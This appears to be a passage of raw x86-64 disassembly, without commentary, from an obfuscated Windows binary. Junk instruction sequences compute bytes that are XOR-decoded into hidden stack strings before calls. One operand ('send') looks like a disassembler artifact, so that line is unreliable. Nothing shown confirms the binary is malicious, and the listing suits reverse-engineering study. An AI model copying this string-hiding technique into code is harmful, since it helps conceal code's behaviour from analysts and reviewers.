rol r9b, 0xce
popf
pushf
not r9b
add r9b, 0xaa
xor r9b, 0x4a
rol r9b, 0x99
popf
movdqa xmm0, xmm1
psrldq xmm0, 1
movd ecx, xmm0
movd eax, xmm1
xor cl, al
mov byte [rbp - 0x67], cl
xor byte [rbp - 0x66], al
xor byte [rbp - 0x65], al
xor byte [rbp - 0x64], al
xor byte [rbp - 0x63], al
xor byte [rbp - 0x62], al
xor byte [rbp - 0x61], al
xor byte [rbp - 0x60], al
xor byte [rbp - 0x5f], al
xor byte [rbp - 0x5e], al
xor byte [rbp - 0x5d], al
xor byte [rbp - 0x5c], al
xor byte [rbp - 0x5b], al
xor byte [rbp - 0x5a], al
xor byte [rbp - 0x59], al
xor dl, al
mov byte [rbp - 0x58], dl
xor r8b, al
mov byte [rbp - 0x57], r8b
xor r9b, al
mov byte [rbp - 0x56], r9b
mov byte [rbp - 0x55], 0
mov r8, r10
lea rdx, [rbp - 0x67]
lea rcx, [rsp + 0x48]
call fcn.1401306fc
mov rdx, rax
call fcn.140173c81
nop
push rax
pushf
mov eax, 0x339a09f9
pushf
not eax
add eax, 0xe5915b8a
xor eax, 0xa80b004d
rol eax, 0x95
popf
pushf
not eax
add eax, 0xc3ba0660
xor eax, 0xa016c6d5
rol eax, 0x29
popf
jmp 0x1400ad8fd
movdqa xmm1, xmmword [0x140044da0]
movdqu xmmword [rbp - 0x68], xmm1
mov dl, 0x58
pushf
not dl
add dl, 0xde
xor dl, 0xc8
rol dl, 0xdf
popf
pushf
not dl
add dl, 0x5a
xor dl, 0x5f
rol dl, 0x4f
popf
mov r8b, 0x51
pushf
not r8b
add r8b, 0xb1
xor r8b, 0x85
rol r8b, 0x8d
popf
pushf
not r8b
add r8b, 0x51
xor r8b, 0x6c
rol r8b, 0xf4
popf
pushf
not r8b
add r8b, 0x48
xor r8b, 0x37
rol r8b, 0xdb
popf
pushf
not r8b
add r8b, 0xc9
xor r8b, 0x50
rol r8b, 0xb1
popf
mov r9b, 0x3c
pushf
not r9b
add r9b, 0xfc
xor r9b, 0xfe
rol r9b, 0x43
popf
pushf
not r9b
add r9b, 0xe8
xor r9b, 0xdb
rol r9b, 0x46
popf
pushf
not r9b
add r9b, 0x18
xor r9b, 0xea
rol r9b, 0xdd
popf
pushf
not r9b
add r9b, 0xee
xor r9b, 0xe8
rol r9b, 0xa7
popf
mov r10b, 0xa2
pushf
not r10b
add r10b, 0x8e
xor r10b, 0x5c
rol r10b, 0x20
popf
pushf
not r10b
add r10b, 0xd6
xor r10b, 0xc
rol r10b, 0x96
popf
pushf
not r10b
add r10b, 0x61
xor r10b, 0xea
rol r10b, 0x4a
popf
pushf
not r10b
add r10b, 0xd3
xor r10b, 0xdc
rol r10b, 0xc1
popf
mov r11b, 0x81
pushf
not r11b
add r11b, 0x67
xor r11b, 0x3e
rol r11b, 0xe4
popf
pushf
not r11b
add r11b, 0x68
xor r11b, 0xae
rol r11b, 0x6f
popf
pushf
not r11b
add r11b, 0xd0
xor r11b, 0x55
rol r11b, 0xe6
popf
pushf
not r11b
add r11b, 0x93
xor r11b, 0xfa
rol r11b, 0x2a
popf
movzx ebx, r10b
mov dil, 0x1d
pushf
not dil
add dil, 0xc7
xor dil, 0xdf
rol dil, 0xfb
popf
pushf
not dil
add dil, 0xc
xor dil, 0xad
rol dil, 0x53
popf
pushf
not dil
add dil, 0x8c
xor dil, 0xa8
rol dil, 0x24
popf
mov sil, 0xe7
pushf
not sil
add sil, 0xda
xor sil, 0x4c
rol sil, 0x8f
popf
pushf
not sil
add sil, 0xd0
xor sil, 0xde
rol sil, 0x89
popf
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rbp - 0x67], al
xor byte [rbp - 0x66], cl
xor byte [rbp - 0x65], cl
xor byte [rbp - 0x64], cl
xor byte [rbp - 0x63], cl
xor byte [rbp - 0x62], cl
xor byte [rbp - 0x61], cl
xor byte [rbp - 0x60], cl
xor byte [rbp - 0x5f], cl
xor byte [rbp - 0x5e], cl
xor byte [rbp - 0x5d], cl
xor byte [rbp - 0x5c], cl
xor byte [rbp - 0x5b], cl
xor byte [rbp - 0x5a], cl
xor byte [rbp - 0x59], cl
xor dl, cl
mov byte [rbp - 0x58], dl
xor r8b, cl
mov byte [rbp - 0x57], r8b
xor r9b, cl
mov byte [rbp - 0x56], r9b
xor r10b, cl
mov byte [rbp - 0x55], r10b
xor r11b, cl
mov byte [rbp - 0x54], r11b
xor bl, cl
mov byte [rbp - 0x53], bl
xor dil, cl
mov byte [rbp - 0x52], dil
xor sil, cl
mov byte [rbp - 0x51], sil
mov byte [rbp - 0x50], 0
lea rdx, [rbp - 0x67]
lea rcx, [rsp + 0x48]
call fcn.14011d9be
mov rdx, rax
call fcn.140173c81
int3
movdqa xmm1, xmmword [0x140044c80]
movdqu xmmword [rbp - 0x68], xmm1
mov dl, 0x82
pushf
not dl
add dl, 0x29
xor dl, 0x88
rol dl, 0xb0
popf
pushf
not dl
add dl, 0x20
xor dl, 0x64
rol dl, 0xd1
popf
pushf
not dl
add dl, 0x75
xor dl, 0xca
rol dl, 0x89
popf
pushf
not dl
add dl, 0xae
xor dl, 0x67
rol dl, 0x6c
popf
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rbp - 0x67], al
xor byte [rbp - 0x66], cl
xor byte [rbp - 0x65], cl
xor byte [rbp - 0x64], cl
xor byte [rbp - 0x63], cl
xor byte [rbp - 0x62], cl
xor byte [rbp - 0x61], cl
xor byte [rbp - 0x60], cl
xor byte [rbp - 0x5f], cl
xor byte [rbp - 0x5e], cl
xor byte [rbp - 0x5d], cl
xor byte [rbp - 0x5c], cl
xor byte [rbp - 0x5b], cl
xor byte [rbp - 0x5a], cl
xor byte [rbp - 0x59], cl
xor dl, cl
mov byte [rbp - 0x58], dl
mov byte [rbp - 0x57], 0
lea rdx, [rbp - 0x67]
lea rcx, [rsp + 0x48]
call fcn.14011d9be
mov rdx, rax
call fcn.140173c81
int3
mov byte [rbp - 0x68], 0x2b
mov al, 0x7b
pushf
not al
add al, 3
xor al, 0x54
rol al, 0xa3
popf
pushf
not al
add al, 0x17
xor al, 0x82
rol al, 0x6d
popf
mov cl, 0xef
pushf
not cl
add cl, 0xe2
xor cl, 0x75
rol cl, 0x85
popf
pushf
not cl
add cl, 0x23
xor cl, 0xd9
rol cl, 0xb0
popf
pushf
not cl
add cl, 0xb0
xor cl, 0xe0
rol cl, 0xd4
popf
mov dl, 0x5e
pushf
not dl
add dl, 0xfe
xor dl, 0x59
rol dl, 0x91
popf
pushf
not dl
add dl, 0x86
xor dl, 0xde
rol dl, 0x5e
popf
pushf
not dl
add dl, 0xa4
xor dl, 0x39
rol dl, 0x41
popf
movzx r8d, cl
mov r9b, 0x70
pushf
not r9b
add r9b, 0xeb
xor r9b, 0x9f
rol r9b, 0xbd
popf
pushf
not r9b
add r9b, 0x65
xor r9b, 0x22
rol r9b, 0x7f
popf
mov r10b, 0x20
pushf
not r10b
add r10b, 0xaa
xor r10b, 0xd6
rol r10b, 0x7b
popf
pushf
not r10b
add r10b, 0xb7
xor r10b, 0xfa
rol r10b, 0xa3
popf
pushf
not r10b
add r10b, 0x11
xor r10b, 0xc8
rol r10b, 0x6e
popf
pushf
not r10b
add r10b, 0x51
xor r10b, 0xed
rol r10b, 0x39
popf
mov r11b, 0xb4
pushf
not r11b
add r11b, 0x3d
xor r11b, 0x28
rol r11b, 0x12
popf
pushf
not r11b
add r11b, 0xdb
xor r11b, 0x62
rol r11b, 0x29
popf
mov bl, 0x5d
pushf
not bl
add bl, 0xa8
xor bl, 0xdf
rol bl, 0x4f
popf
pushf
not bl
add bl, 0xd7
xor bl, 0xcf
rol bl, 0x85
popf
pushf
not bl
add bl, 0xbf
xor bl, 0x63
rol bl, 0xe9
popf
movzx edi, al
movzx esi, al
movzx r14d, bl
mov r15b, 0xa6
pushf
not r15b
add r15b, 0x17
xor r15b, 0x88
rol r15b, 0xb0
popf
pushf
not r15b
add r15b, 0xaf
xor r15b, 0x6b
rol r15b, 0x2b
popf
pushf
not r15b
add r15b, 0x29
xor r15b, 0x78
rol r15b, 0xe5
popf
mov r12b, 0xe1
pushf
not r12b
add r12b, 0x9e
xor r12b, 0x50
rol r12b, 0xc2
popf
pushf
not r12b
add r12b, 0x86
xor r12b, 0x7c
rol r12b, 0x18
popf
pushf
not r12b
add r12b, 0xff
xor r12b, 0x10
rol r12b, 0x88
popf
xor r13d, r13d
xor al, 0x2b
mov byte [rbp - 0x67], al
xor cl, 0x2b
mov byte [rbp - 0x66], cl
xor dl, 0x2b
mov byte [rbp - 0x65], dl
xor r8b, 0x2b
mov byte [rbp - 0x64], r8b
xor r9b, 0x2b
mov byte [rbp - 0x63], r9b
xor r10b, 0x2b
mov byte [rbp - 0x62], r10b
xor r11b, 0x2b
mov byte [rbp - 0x61], r11b
xor bl, 0x2b
mov byte [rbp - 0x60], bl
xor dil, 0x2b
mov byte [rbp - 0x5f], dil
xor sil, 0x2b
mov byte [rbp - 0x5e], sil
xor r14b, 0x2b
mov byte [rbp - 0x5d], r14b
xor r15b, 0x2b
mov byte [rbp - 0x5c], r15b
xor r12b, 0x2b
mov byte [rbp - 0x5b], r12b
mov byte [rbp - 0x5a], r13b
lea rdx, [rbp - 0x67]
lea rcx, [rsp + 0x48]
call fcn.14011d9be
mov rdx, rax
call fcn.140173c81
int3
movdqa xmm1, xmmword [0x140044dc0]
movdqu xmmword [rbp - 0x68], xmm1
mov dl, 0xd5
pushf
not dl
add dl, 0x16
xor dl, 0x53
rol dl, 0x1e
popf
pushf
not dl
add dl, 0x7b
xor dl, 0x39
rol dl, 0x35
popf
pushf
not dl
add dl, 0xc3
xor dl, 0x6c
rol dl, 0x76
popf
mov r8b, 0xf9
pushf
not r8b
add r8b, 0xf5
xor r8b, 0x30
rol r8b, 0x9b
popf
pushf
not r8b
add r8b, 0x59
xor r8b, 0x9d
rol r8b, 0xd9
popf
pushf
not r8b
add r8b, 0xbb
xor r8b, 0xbb
rol r8b, 0xe4
popf
mov r9b, 0x5a
pushf
not r9b
add r9b, 0xec
xor r9b, 0x38
rol r9b, 0x4e
popf
pushf
not r9b
add r9b, 0x10
xor r9b, 0x18
rol r9b, 0xd9
popf
pushf
not r9b
add r9b, 0x6a
xor r9b, 0xe7
rol r9b, 0x14
popf
pushf
not r9b
add r9b, 0x66
xor r9b, 0xf2
rol r9b, 0xc
popf
mov r10b, 0xa3
pushf
not r10b
add r10b, 0xa2
xor r10b, 0x6f
rol r10b, 0xd3
popf
pushf
not r10b
add r10b, 0x8e
xor r10b, 0x6d
rol r10b, 3
popf
mov r11b, 0x97
pushf
not r11b
add r11b, 0x29
xor r11b, 0x34
rol r11b, 0x25
popf
pushf
not r11b
add r11b, 0x26
xor r11b, 0x4b
rol r11b, 0xd9
popf
movzx ebx, r8b
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rbp - 0x67], al
xor byte [rbp - 0x66], cl
xor byte [rbp - 0x65], cl
xor byte [rbp - 0x64], cl
xor byte [rbp - 0x63], cl
xor byte [rbp - 0x62], cl
xor byte [rbp - 0x61], cl
xor byte [rbp - 0x60], cl
xor byte [rbp - 0x5f], cl
xor byte [rbp - 0x5e], cl
xor byte [rbp - 0x5d], cl
xor byte [rbp - 0x5c], cl
xor byte [rbp - 0x5b], cl
xor byte [rbp - 0x5a], cl
xor byte [rbp - 0x59], cl
xor dl, cl
mov byte [rbp - 0x58], dl
xor r8b, cl
mov byte [rbp - 0x57], r8b
xor r9b, cl
mov byte [rbp - 0x56], r9b
xor r10b, cl
mov byte [rbp - 0x55], r10b
xor r11b, cl
mov byte [rbp - 0x54], r11b
xor bl, cl
mov byte [rbp - 0x53], bl
mov byte [rbp - 0x52], 0
lea rdx, [rbp - 0x67]
lea rcx, [rsp + 0x48]
call fcn.14011d9be
mov rdx, rax
call fcn.140173c81
int3
mov byte [rbp - 0x68], 0x45
mov al, 4
pushf
not al
add al, 0x8d
xor al, 0x88
rol al, 0x25
popf
pushf
not al
add al, 0xc1
xor al, 0x8a
rol al, 0xae
popf
pushf
not al
add al, 0x34
xor al, 0x67
rol al, 0xde
popf
pushf
not al
add al, 0xed
xor al, 0x5a
rol al, 0x45
popf
mov cl, 2
pushf
not cl
add cl, 0x21
xor cl, 0xb7
rol cl, 2
popf
pushf
not cl
add cl, 0x37
xor cl, 0xc5
rol cl, 0xbd
popf
pushf
not cl
add cl, 0x8d
xor cl, 0x77
rol cl, 0xc9
popf
mov dl, 0xfd
pushf
not dl
add dl, 0x66
xor dl, 0x74
rol dl, 0x73
popf
pushf
not dl
add dl, 0x28
xor dl, 0x34
rol dl, 0x20
popf
pushf
not dl
add dl, 0x7a
xor dl, 0x4a
rol dl, 0x12
popf
mov r8b, send
pushf
not r8b
add r8b, 0x61
xor r8b, 0x91
rol r8b, 0x9b
popf
pushf
not r8b
add r8b, 0x8e
xor r8b, 0x52
rol r8b, 0x11
popf
pushf
not r8b
add r8b, 0x6f
xor r8b, 0xe
rol r8b, 0x7b
popf
pushf
not r8b
add r8b, 0xb5
xor r8b, 0x55
rol r8b, 0x69
popf
mov r9b, 0x41
pushf
not r9b
add r9b, 0xd8
xor r9b, 0xc3
rol r9b, 0xb6
popf
pushf
not r9b
add r9b, 0xb8
xor r9b, 0xdd
rol r9b, 0x26
popf
pushf
not r9b
add r9b, 8
xor r9b, 0x90
rol r9b, 0x9a
popf
mov r10b, 0x14
pushf
not r10b
add r10b, 0xf3
xor r10b, 0xa9
rol r10b, 0xb6
popf
pushf
not r10b
add r10b, 0x28
xor r10b, 0x2e
rol r10b, 0x21
popf
pushf
not r10b
add r10b, 0xaa
xor r10b, 7
rol r10b, 0x4b
popf
movzx r11d, al
movzx ebx, dl
mov dil, 0xd8
pushf
not dil
add dil, 0xf4
xor dil, 0x7d
rol dil, 0x11
popf
pushf
not dil
add dil, 0x78
xor dil, 0x76
rol dil, 0xaf
popf
pushf
not dil
add dil, 0x4d
xor dil, 0xcc
rol dil, 0xa5
popf
pushf
not dil
add dil, 0x2c
xor dil, 0x1a
rol dil, 0x74
popf
mov sil, 0xad
pushf
not sil
add sil, 0xd6
xor sil, 0xb6
rol sil, 0x1e
popf
pushf
not sil
add sil, 0xe7
xor sil, 0x77
rol sil, 0x27
popf
pushf
not sil
add sil, 0xd7
xor sil, 0xb3
rol sil, 0xfc
popf
pushf
not sil
add sil, 0x3a
xor sil, 0xaf
rol sil, 0x6a
popf
mov r14b, 0x3e
pushf
not r14b
add r14b, 0x43
xor r14b, 0xc7
rol r14b, 0xde
popf
pushf
not r14b
add r14b, 0x18
xor r14b, 0x77
rol r14b, 0xef
popf
movzx r15d, r8b
movzx r12d, r14b
xor r13d, r13d
xor al, 0x45
mov byte [rbp - 0x67], al
xor cl, 0x45
mov byte [rbp - 0x66], cl
xor dl, 0x45
mov byte [rbp - 0x65], dl
xor r8b, 0x45
mov byte [rbp - 0x64], r8b
xor r9b, 0x45
mov byte [rbp - 0x63], r9b
xor r10b, 0x45
mov byte [rbp - 0x62], r10b
xor r11b, 0x45
mov byte [rbp - 0x61], r11b
xor bl, 0x45
mov byte [rbp - 0x60], bl
xor dil, 0x45
mov byte [rbp - 0x5f], dil
xor sil, 0x45
mov byte [rbp - 0x5e], sil
xor r14b, 0x45
mov byte [rbp - 0x5d], r14b
xor r15b, 0x45
mov byte [rbp - 0x5c], r15b
xor r12b, 0x45
mov byte [rbp - 0x5b], r12b
mov byte [rbp - 0x5a], r13b
lea rdx, [rbp - 0x67]
lea rcx, [rsp + 0x48]
call fcn.14011d9be
mov rdx, rax
call fcn.140173c81
int3
movdqa xmm1, xmmword [str._DCYHJ_DYTrYHUY]
movdqu xmmword [rbp - 0x68], xmm1
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rbp - 0x67], al
xor byte [rbp - 0x66], cl
xor byte [rbp - 0x65], cl
xor byte [rbp - 0x64], cl
xor byte [rbp - 0x63], cl
xor byte [rbp - 0x62], cl
xor byte [rbp - 0x61], cl
xor byte [rbp - 0x60], cl
xor byte [rbp - 0x5f], cl
xor byte [rbp - 0x5e], cl
xor byte [rbp - 0x5d], cl
xor byte [rbp - 0x5c], cl
xor byte [rbp - 0x5b], cl
xor byte [rbp - 0x5a], cl
mov byte [rbp - 0x59], 0
lea rdx, [rbp - 0x67]
lea rcx, [rsp + 0x48]
call fcn.14011d9be
mov rdx, rax
call fcn.140173c81
int3